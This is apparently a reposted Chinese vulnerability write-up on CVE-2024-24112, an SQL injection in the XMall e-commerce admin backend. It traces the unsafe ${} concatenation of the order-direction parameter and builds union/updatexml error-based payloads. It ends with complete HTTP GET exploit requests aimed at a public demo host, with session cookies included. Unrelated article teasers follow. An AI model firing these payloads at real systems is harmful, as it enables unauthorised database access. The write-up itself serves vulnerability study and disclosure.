当前位置: 首页 > news >正文

CVE-2024-24112 XMall后台管理系统 SQL 注入漏洞分析

------作者本科毕业设计项目 基于 Spring Boot + Vue 开发而成......

[Affected Component]

  • /item/list

  • /item/listSearch

  • /sys/log

  • /order/list

  • /member/list (need time-based blind injection)

  • /member/list/remove

项目下载地址

Exrick/xmall: 基于SOA架构的分布式电商购物商城 前后端分离 前台商城:Vue全家桶 后台管理系统:Dubbo/SSM/Elasticsearch/Redis/MySQL/ActiveMQ/Shiro/Zookeeper等 (github.com)icon-default.png?t=N7T8https://github.com/Exrick/xmall/tree/master

漏洞点分析

Controller层-00 注意order[0][dir] orderDir的传参

跟入getItemSearchList 方法

跟入selectItemByMultiCondition方法

注意到335行 与 336行 用${} 的方法进行sql语句进行拼接

进一步利用分析

分析如何如何才能进一步利用

首先order[0][column] 要传递一个数字 用来取数组下标,而这个变量之后还拼接到了order by 第一个条件中(${orderCol}),

odderDir 要想进行sql注入必须得考虑前面有数字,

所以这样的好号 在后面直接加入if() 或者 updatexml 进行sql注入显然是不行的 ,我们还可以考虑下union select。

简单的进行下sql oder by 注入,结果都失败了。

不过由于后端没有屏蔽掉sql报错,在进行测试的时候我们发现了底层执行sql的逻辑

既然这样的话,那么我们就不用自己那软件在去测了,

select count(0) from (SELECT * FROM tb_item WHERE (title LIKE ? OR sell_point LIKE ? OR price LIKE ? OR id LIKE ?) ORDER BY id test)

研究上面的语句,如何进入sql注入。

其中test显然是我们可控的变量,要考虑union+select 首先的用")"闭合前面"(",闭合之后,我们就可以使用

union+select ,不过在这之间遇到了一点小情况,在我本地进行测试执行如下sql语句时

SELECT COUNT(0) FROM (SELECT * FROM blade_user)

sql无法执行

上网查一下解决方式 ,发现为子查询指定别名 a便可以解决报错问题

SELECT COUNT(0) FROM (SELECT * FROM blade_user) AS subquery_alias

SELECT COUNT(0) FROM (SELECT * FROM blade_user)a

这样的话select执行完整 ,我们可以进行联合注入了

有如下的payload进行测试

SELECT COUNT(0) FROM (SELECT * FROM blade_user) AS subquery_alias union select updatexml(1,concat(0x7e,user(),0x7e),1)

SELECT COUNT(0) FROM (SELECT * FROM blade_user)a union select updatexml(1,concat(0x7e,user(),0x7e),1)

ok ,现在一切准备就绪,开始sql注入了

漏洞复现
GET /item/list?draw=1&start=0&length=1&cid=-1&searchKey=1&minDate=1&maxDate=1&search%5Bvalue%5D=1&order%5B0%5D%5Bcolumn%5D=1&order%5B0%5D%5Bdir%5D=)+AS+subquery_alias+union+select+updatexml(1,concat(0x7e,database(),0x7e),1)%23; HTTP/1.1
Host: xmadmin.exrick.cn
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_90194188523e0a2d04ad3ad170c83f30=1710743075; Hm_lpvt_90194188523e0a2d04ad3ad170c83f30=1710743075; JSESSIONID=AFE210EF5FD6B308E597E4BEB06A5D86
Connection: close

 

GET /item/list?draw=1&start=0&length=1&cid=-1&searchKey=1&minDate=1&maxDate=1&search%5Bvalue%5D=1&order%5B0%5D%5Bcolumn%5D=1&order%5B0%5D%5Bdir%5D=)a+union+select+updatexml(1,concat(0x7e,database(),0x7e),1)%23; HTTP/1.1
Host: xmadmin.exrick.cn
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_90194188523e0a2d04ad3ad170c83f30=1710743075; Hm_lpvt_90194188523e0a2d04ad3ad170c83f30=1710743075; JSESSIONID=AFE210EF5FD6B308E597E4BEB06A5D86
Connection: close
 

相关文章:

CVE-2024-24112 XMall后台管理系统 SQL 注入漏洞分析

------作者本科毕业设计项目 基于 Spring Boot Vue 开发而成...... [Affected Component] /item/list /item/listSearch /sys/log /order/list /member/list (need time-based blind injection) /member/list/remove 项目下载地址 Exrick/xmall: 基于SOA架构的分布式…...

jwt以及加密完善博客系统

目录 一、背景 二、传统登陆功能&强制登陆功能 1、传统的实现方式 2、session存在的问题 三、jwt--令牌技术 1、实现过程 2、令牌内容 3、生成令牌 4、检验令牌 四、JWT登陆功能&强制登陆功能 1、JWT实现登陆功能 2、强制登陆功能 3、运行效果 五、加密/加…...

elk收集k8s微服务日志

一、前言 使用filebeat自动发现收集k8s的pod日志,这里分别收集前端的nginx日志,还有后端的服务java日志,所有格式都是用json格式,建议还是需要让开发人员去输出java的日志为json,logstash分割java日志为json格式&#…...

vue3中如何实现多个侦听器(watch)

<body> <div id"app"><input type"button" value"更改名字" click"change"> </div> <script src"vue.js"></script> <script>new Vue({el: #app,data: {food: {id: 1,name: 冰激…...

【深度学习基础知识】IOU、GIOU、DIOU、CIOU

这里简单记录下IOU及其衍生公式。   为了拉通IOU及其衍生版的公式对比&#xff0c;以及方便记忆&#xff0c;这里用一个统一的图示来表示出所有的参数 【&#xff21;】目标框的区域【&#xff22;】预测框的区域【&#xff23;】&#xff21;与&#xff22;的交集【&#xff…...

【自用笔记】单词

cognitive 认知formulation 阐述方式nonlinear 非线性nonconvex 非凸&#xff0c;无最优解cumulative return 累计回报propagation 传播optimization 优化objective 目标标准差&#xff08;standard deviation&#xff09;正态分布&#xff08;Normal distribution&#xff09;…...

Linux之shell条件判断

华子目录 if语句单分支案例 双分支案例 多分支 case多条件判断格式执行过程示例 if语句 单分支 # 语法1&#xff1a; if <条件表达式> then指令 fi#语法2&#xff1a; if <条件表达式>;then指令 fi案例 编写脚本choice1.sh,利用单分支结构实现输入2个整数&#…...

“postinstall“: “patch-package“ 修补安装包补丁

在 package.json 文件里&#xff0c;postinstall 是一个钩子脚本&#xff0c;它在每次运行 npm install 命令后自动执行。当你在该字段中指定 "patch-package" 时&#xff0c;意思是在 npm install 安装所有依赖包之后&#xff0c;自动运行 patch-package 命令。 pa…...

PHP+MySQL开发组合:多端多商户DIY商城源码系统 带完整的搭建教程以及安装代码包

近年来&#xff0c;电商行业的迅猛发展&#xff0c;越来越多的商户开始寻求搭建自己的在线商城。然而&#xff0c;传统的商城系统往往功能单一&#xff0c;无法满足商户个性化、多样化的需求。同时&#xff0c;搭建一个功能完善的商城系统需要专业的技术团队和大量的时间成本&a…...

Node.js常用命令

Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行环境&#xff0c;它使得开发者可以使用 JavaScript 来编写服务端的应用。Node.js 提供了大量的命令行工具&#xff0c;以下是一些最常用的 Node.js 命令&#xff1a; 1. node 运行 JavaScript 文件&#xff1a;node [fil…...

LeetCode 2. 两数相加

目录 题目题目描述示例 1&#xff1a;示例 2&#xff1a;示例 3&#xff1a;提示&#xff1a;原题链接 题解解题思路代码实现&#xff08;C&#xff09; 题目 题目描述 给你两个 非空 的链表&#xff0c;表示两个非负的整数。它们每位数字都是按照 逆序 的方式存储的&#xf…...

抖去推无人直播+矩阵托管+AI文案撰写一体化工具如何开发搭建

一、 开发和搭建抖去推无人直播矩阵托管AI文案撰写一体化工具需要以下步骤&#xff1a; 确定功能需求&#xff1a;确定抖去推无人直播、矩阵托管和AI文案撰写的具体功能需求&#xff0c;如直播推流、直播管理、托管服务、AI文案生成等。 技术选型&#xff1a;选择适合开发该工…...

【鸿蒙HarmonyOS开发笔记】常用组件介绍篇 —— 弹窗组件

简介 弹窗是移动应用中常见的一种用户界面元素&#xff0c;常用于显示一些重要的信息、提示用户进行操作或收集用户输入。ArkTS提供了多种内置的弹窗供开发者使用&#xff0c;除此之外还支持自定义弹窗&#xff0c;来满足各种不同的需求。 下面是所有涉及到的弹窗组件官方文档…...

【嵌入式学习】Qtday03.21

一、思维导图 二、练习 自由发挥登录窗口的应用场景&#xff0c;实现一个登录窗口界面。&#xff08;不要使用课堂上的图片和代码&#xff0c;自己发挥&#xff0c;有利于后面项目的完成&#xff09; 要求&#xff1a; 1. 需要使用Ui界面文件进行界面设计 2. ui界面上的组件…...

【C语言】C语言运算符优先级详解

文章目录 &#x1f4dd;前言&#x1f309;运算符优先级简述 &#x1f320;逻辑与和逻辑或&#x1f309;赋值和逗号运算符 &#x1f320;位运算&#x1f309;条件表达式&#x1f309;位运算与算术运算结合&#x1f309;混合使用条件表达式和赋值运算符&#x1f309; 逗号运算符的…...

第十节HarmonyOS 常用容器组件3-GridRow

1、描述 栅格容器组件&#xff0c;仅可以和栅格子组件&#xff08;GridCol&#xff09;在栅格布局场景中使用。 2、子组件 可以包含GridCol子组件。 3、接口 GridRow(options:{columns: number | GridRowColumnOption, gutter?: Length | GutterOption, Breakpoints?: B…...

SCXI-1193是National Instruments公司生产的吗?

NI SCXI-1193是一款高密度、32通道RF多路复用器开关模块。 NI SCXI-1193 是一款由 National Instruments&#xff08;NI&#xff09;公司生产的屏蔽式电缆。这款电缆通常用于连接数据采集设备和传感器或执行器&#xff0c;以实现信号传输和数据采集。SCXI-1193 电缆具有高度灵活…...

使用clion开发tftlcd屏,移植驱动时遇到的问题记录

问题现象 屏幕只有一半屏在刷新 问题出现的情况(在CLION开发时遇到过) 总结...

工程信号的去噪和(分类、回归和时序)预测

&#x1f680;【信号去噪及预测论文代码指导】&#x1f680; 还为小论文没有思路烦恼么&#xff1f;本人专注于最前沿的信号处理与预测技术——基于信号模态分解的去噪算法和深度学习的信号&#xff08;回归、时序和分类&#xff09;预测算法&#xff0c;致力于为您提供最精确、…...

【VUE】前端阿里云OSS断点续传,分片上传

什么是OSS&#xff1a; 数据以对象&#xff08;Object&#xff09;的形式存储在OSS的存储空间&#xff08;Bucket &#xff09;中。如果要使用OSS存储数据&#xff0c;您需要先创建Bucket&#xff0c;并指定Bucket的地域、访问权限、存储类型等属性。创建Bucket后&#xff0c;您…...

从入门到上岗,Java+AI 复合型人才养成攻略

当下编程行业格局正在悄然改变,纯 Java 后端岗位内卷日趋严重,薪资增长逐步放缓;纯粹的 AI 算法岗门槛居高不下,对学历、数理功底要求严苛,普通开发者很难入局。 而Java+AI 复合型开发顺势成为行业刚需岗位,既依托成熟的 Java 体系承接业务开发,又能融入人工智能技术实…...

除了排错,你可能不知道OPC Expert v8.1还能做这些:数据归档、计算与冗余实战

解锁OPC Expert v8.1的隐藏潜力&#xff1a;数据归档、实时计算与冗余架构实战指南在工业自动化领域&#xff0c;OPC Expert常被视为故障排查的"急救箱"&#xff0c;但它的能力远不止于此。当大多数工程师还在用它解决DCOM配置问题时&#xff0c;少数先行者已经用它重…...

智能体所有权与版权:AI Agent Harness Engineering 创造的作品归谁所有?

1. 标题选项 《AI Agent创作版权迷局破解:从Harness工程原理到所有权划分的完整指南》 《智能体作品归谁?AI Agent Harness Engineering场景下的版权规则深度拆解》 《告别权属纠纷:一文搞懂AI Agent生成内容的所有权、版权与收益分配规则》 《Harness工程视角下的AI创作权:…...

中兴光猫终极管理指南:解锁工厂模式与Telnet权限的实战教程

中兴光猫终极管理指南&#xff1a;解锁工厂模式与Telnet权限的实战教程 【免费下载链接】zteOnu A tool that can open ZTE onu device factory mode 项目地址: https://gitcode.com/gh_mirrors/zt/zteOnu 掌握中兴光猫的设备管理和权限获取能力是网络管理员和技术爱好者…...

从零到上机:我的第一个Quest 3空间锚点应用是如何跑起来的(附完整Unity工程)

从零到上机&#xff1a;我的第一个Quest 3空间锚点应用是如何跑起来的&#xff08;附完整Unity工程&#xff09;第一次戴上Meta Quest 3时&#xff0c;那种虚拟与现实交织的震撼感至今难忘。但作为开发者&#xff0c;更让我着迷的是如何让虚拟物体在真实空间中"记住"…...

Elden Ring帧率解锁终极指南:从60帧到144+的完整教程

Elden Ring帧率解锁终极指南&#xff1a;从60帧到144的完整教程 【免费下载链接】EldenRingFpsUnlockAndMore A small utility to remove frame rate limit, change FOV, add widescreen support and more for Elden Ring 项目地址: https://gitcode.com/gh_mirrors/el/Elden…...

【Veo 2提示词SOP白皮书】:从模糊意图到像素级输出的8步标准化工作流(附NASA级测试用例库)

更多请点击&#xff1a; https://intelliparadigm.com 第一章&#xff1a;Veo 2提示词工程的本质与范式跃迁 Veo 2并非单纯升级的视频生成模型&#xff0c;而是一次提示词工程范式的根本性重构——它将传统“指令式提示”&#xff08;prompt-as-command&#xff09;转向“意图…...

用PyTorch复现FactorVAE:一个能同时预测收益和风险的量化模型实战教程

用PyTorch实战FactorVAE&#xff1a;构建收益与风险双预测的量化模型 在量化投资领域&#xff0c;传统线性因子模型正逐渐被非线性机器学习方法所取代。然而金融数据特有的低信噪比特性&#xff0c;使得直接从市场数据中提取有效因子成为一项艰巨挑战。本文将深入探讨如何利用P…...

如何优化 MySQL 千万级数据分页查询的性能?

它的本质是&#xff1a;**传统 LIMIT offset, size 在大数据量下性能急剧下降&#xff0c;是因为 MySQL 必须 扫描并丢弃 前 offset 行数据。当 offset 很大时&#xff08;如 LIMIT 1000000, 10&#xff09;&#xff0c;MySQL 需要读取 1,000,010 行记录&#xff0c;执行 1,000…...

告别KITTI!用TartanAir数据集在Unreal Engine仿真环境里“虐”你的VSLAM算法(附保姆级下载与使用指南)

用TartanAir数据集在Unreal Engine中打造VSLAM算法的"极限考场"当你的视觉SLAM算法在KITTI数据集上跑出98%的准确率时&#xff0c;是否意味着它已经准备好应对真实世界的复杂场景&#xff1f;现实往往会给乐观的开发者当头一棒——实验室里的"优等生"在遇到…...